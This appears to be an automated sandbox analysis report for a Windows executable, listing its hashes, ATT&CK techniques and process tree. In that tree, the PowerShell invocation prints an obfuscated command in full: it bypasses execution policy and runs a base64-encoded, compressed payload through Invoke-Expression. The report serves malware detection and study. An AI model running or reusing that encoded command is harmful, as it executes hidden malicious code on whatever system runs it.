80b4d96426339604f1e3b10fc0ce58bd465568a3ed2ce810b807e0503307123e

General

Target

33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe
Size

123KB
MD5

33c585ac269f682217e55bacc9eb9322
SHA1

733ea43764f5db7ccb128dda4c51ee02228be97d
SHA256

80b4d96426339604f1e3b10fc0ce58bd465568a3ed2ce810b807e0503307123e
SHA512

2c349cbfdeb0066925a8c445ec2c18eabd206c832ee7c43ea8954ec25c8369673389323cde77d47a41e00a01ac01e346fce3e273e74896c44df678d2ffdd271e
SSDEEP

3072:RA2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcXDc:rbJhs7QW69hd1MMdxPe9N9uA0hu9TBGc

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3036 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

3036 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3036 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3036 powershell.exe

pid	process
3036	powershell.exe

pid	process
3036	powershell.exe

pid	process
3036	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3036	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

33c585ac269f682217e55bacc9eb9322_JaffaCakes118.execmd.exe

description	pid	process	target process
PID 1952 wrote to memory of 1352	1952	33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe	cmd.exe
PID 1952 wrote to memory of 1352	1952	33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe	cmd.exe
PID 1952 wrote to memory of 1352	1952	33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe	cmd.exe
PID 1352 wrote to memory of 3036	1352	cmd.exe	powershell.exe
PID 1352 wrote to memory of 3036	1352	cmd.exe	powershell.exe
PID 1352 wrote to memory of 3036	1352	cmd.exe	powershell.exe
PID 1352 wrote to memory of 3036	1352	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1952

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\98D6.tmp\98D7.tmp\98D8.bat C:\Users\Admin\AppData\Local\Temp\33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NonI -NoProfile -Exec Bypass -Command -NoLogo "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZtb9pIEP7OrxhZPtVusGMD5ZJYSE1J09KWNBdI0juEqsVeYMt611mvEyjlv98Ym7f0S9UPpxMS9q5n9pmXZ2bWfIAWvDYqgwvOO3EilbaMGVWC8nrNjTg37CEk2YizEFJNND7oXON36Ah9rRXcMaUzws85l6FV7vHkPIoUTdMqZExoiJ567DstF+NCFo+Sor9IdtvXSmoaajv4bVvaihJN+1N8RDtbivW51oqNMk33jNIknBWWbYVxT+mt9dvta6JITBFrq7zGQhcuOZnsSxZonQjdMF5X2Niy3lHt3Hc7n0ff0Dtw2pykKdwzUa99RZdDBJLKdq+yeETV5/EnOWEh4dsvKTgTCr4Ny8rgzULTwXBoXvWv+4qINGa6VfVfNk6C/a2BN2x5c/9NsJVPaShF9FzlcHerZQp5HubYLXNMeEqDvloszZ4MZ1S3ruiTUzpyRbVb7Kbl0xrs75VBvCQx44vh2RlGiCoUeJJqVh38rJ1zAcUuJhjpw+85MWQoeSlxGyV2UBrktqUQaI31IkvdREruCp24Uk1eVP1a3Q4Gd5JFw41wj4rI2g/Vc4EbGlL2SA9lVsjVcLrci4tWGV0FpspEX2rCW15wKdVbEk4tsyMiOgcm4CAjDc91G/WhvdzpbN9e1l41jwo9PHPMVKr7LKYtay/WFzmtcdPyTz2v6uPPW/8Gmw8fmYjy0OjQtvPIdxnnrEhwag1uMfbNxtDaYfqe56Fkby0RrEnv9DilCTgpNIqUI34elv9RzkuLfjHpG+ki64ds/0lom/nncjtQLlNq/S4bnhXbrxICGwhY/x0TwIEdA9eNpwGOVLD1Nm9DOidHhFPDOH/Tvnh7+e5958PHT92rz9d/3fT6t3f3X/7+h4zCiI4nU/ZtxmMhkwc8M3t8mi++e5iixqvmnyenhtuX7SlR50qRhWVXxpkI844KoWU+2ktQVGfY2y1rgB0X2xiYj4ca8AO6lKSZopvoOL0sRl+yGP4AbGaeBw59gNOavdqdrmFpjnPrjcB33fqPscSGHU4duT4Cvx21wIwG1gTbNqYrkjE4MZmzGE81I/cTFRM9tYeroLTPHAd7p1NYQlL0blgOSG7o0JwjHP4dgfl1FQDSEU2Yo/XY3nWJC0tLYJbLxc0a13YFzjek3GoPYLIEtBgskyHRTAYO19Bs4NvREbJpikg6MGc5YIQINAAoHUQVvqbiDOXSXGCaW8QDyDmGMU9tzO4m6iiBsOXCOH38cmugm0WJUvXIQnotMS1dIsiEKiRcvktVmyrNxjjANL0jnEXrEdkmnI9w1CLmclMtMS72aN1bpJrGbn78PR21OaNCBxUzdt/jMKVq3VksI0upchBPaKMKRld+R26T44brof0yThBsxNHjbq/zFpquH+RTNpJPKVz1bQNLWSDoJIDNXAQzycMQuxfySXBJIqwhYhlTrZP07PjYP625fvPE9b1T1/fPTrBQjk1hgF0xJeqhRU7enZAdNB/dF3TMBFvnyHwA5wrvC2Csx7wBjsBVmpCQFoP/sswmDvcEbwN6qrKKOW+Z8uzs4D7lVc2kZFzVm9fRAnw0POxeZcBuMqGxVN11o5VJmZrU7RKVTgnHvLRlsrDMpApeFQbFLQXLf46VhIt6zbLtKmxBctdQZf8alTcXc150mbziZKYdkXGkzcHUKPvHSbPheWWLXP0L\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3036

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\98D6.tmp\98D7.tmp\98D8.bat
Filesize
3KB

MD5
0aa3bb1c948dbc63509489e853b633bd

SHA1
e29034d6dad8695540694b44c54c8ba656bae30e

SHA256
de759c2e84ea017004653a905ad84e9b6ee4aa145db8a0a895d9a33c8a8748aa

SHA512
0c1e5a86d71fe2f254921c1a589844d29ee8fe17fceeb53ee328ce5063eb2b659bf869d621f0ef1bc65722bcfa8b22082f644c425fab930810c62deef8120eb2

Download Submit
memory/3036-4-0x0000000074251000-0x0000000074252000-memory.dmp

Filesize
4KB

Download
memory/3036-5-0x0000000074250000-0x00000000747FB000-memory.dmp

Filesize
5.7MB

Download
memory/3036-6-0x0000000074250000-0x00000000747FB000-memory.dmp

Filesize
5.7MB

Download
memory/3036-7-0x0000000074250000-0x00000000747FB000-memory.dmp

Filesize
5.7MB

Download
memory/3036-8-0x0000000074250000-0x00000000747FB000-memory.dmp

Filesize
5.7MB

Download
memory/3036-9-0x0000000074250000-0x00000000747FB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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